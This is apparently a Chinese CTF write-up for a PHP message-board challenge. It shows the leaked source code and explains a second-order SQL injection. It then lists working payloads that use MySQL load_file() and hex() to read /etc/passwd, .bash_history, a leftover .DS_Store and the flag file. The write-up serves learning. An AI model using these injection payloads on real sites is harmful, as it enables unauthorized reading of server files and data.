首先进入环境,是一个留言板的东西,而且按照题目描述的SQL,肯定又是SQL注入了。不过还不能直接留言,需要登录。登录就是爆破密码的后三位,爆出来是zhangwei666,然后登录。
如果提前用dirsearch扫了的话,会发现存在git泄露。利用工具弄下来,得到2个文件,那个关键的文件内容如下:
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
header("Location: ./login.php");
die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':
$category = addslashes($_POST['category']);
$title = addslashes($_POST['title']);
$content = addslashes($_POST['content']);
$sql = "insert into board
set category = '$category',
title = '$title',
content = '$content'";
$result = mysql_query($sql);
header("Location: ./index.php");
break;
case 'comment':
$bo_id = addslashes($_POST['bo_id']);
$sql = "select category from board where id='$bo_id'";
$result = mysql_query($sql);
$num = mysql_num_rows($result);
if($num>0){
$category = mysql_fetch_array($result)['category'];
$content = addslashes($_POST['content']);
$sql = "insert into comment
set category = '$category',
content = '$content',
bo_id = '$bo_id' ";
$result = mysql_query($sql);
}
header("Location: ./comment.php?id=$bo_id");
break;
default:
header("Location: ./index.php");
}
}
else{
header("Location: ./index.php");
}
?>
经过代码审计,发现留言板有2个功能,1个相当于写主题,一个留言。write那个功能传入的参加都经过了addslashes
,无法实现注入。但是发现comment里面从查询的结果里取出category,并没有进行addslashes
,因此存在二次注入。
但是category的内容虽然没有被转义,但是它不是回显的内容,回显的是content。又考虑到插入的时候,语句是多行的,因此可以这样注入:
title=1&category=-1', content=(select database()),/*&content=1
在提交留言的时候,提交*/#
,这样就成功闭合,而且将回显的内容放到了content里,实现了注入。
接下来就是漫长的注入。经过了一系列注入,发现flag并不在数据库了。。。
这时候要用到load_file()。自己也是很少用这个函数,因此这题就卡在这里了。我们可以用它来尝试读取文件:
title=1&category=-1', content=(select load_file('/etc/passwd')),/*&content=1
www:x:500:500:www:/home/www:/bin/bash
说明www用户可以登录bash。还有一个知识点,是.bash_history这个文件。
首先我们知道www用户的根目录是/home/www。
其次还有这个知识点:
其中.bash_history文件保存了当前用户使用过的历史命令。
以往读到的/etc/passwd都是除了root用户便没有别的用户了,这题突然多了个用户,而且根目录已知,肯定要尝试读一下这个文件,如果读到了:
首先是cd到了/tmp/目录,然后unzip了html.zip,然后又把这个.zip文件删除了。然后又把解压得到的html这个文件夹复制到了/var/www/下面,然后又cd到了/var/www/html下,将.DS_Store给删除,然后开启apache2服务。
因此,/tmp/下面的html文件夹里的.DS_Store并没有被删除。尝试读取:
title=1&category=-1', content=(select load_file('/tmp/html/.DS_Store')),/*&content=1
返回的内容不完全。因此要用hex(),一是因为.DS_Store里面有很多不可见字符,二是因为这题返回的内容不完全。
title=1&category=-1', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*&content=1
成功得到了内容:
再进行16进制解密:
发现了flag文件。接下来这题有坑,如果直接在/tmp/html下面读的话,flag是假的,要到/var/www/html下面取读:
title=1&category=-1', content=(select (load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*&content=1
这题自己只做到了load_file那里,首先就是对sql里面关于文件操作的内容不熟。
然后/etc/passwd里的内容到底是什么意思自己也是一知半解,然后就是.bash_history这个文件,自己也去根目录去试了,也发现了这个文件,果然还是对linux不了解。最后就是hex()的用法,自己还需要学习啊!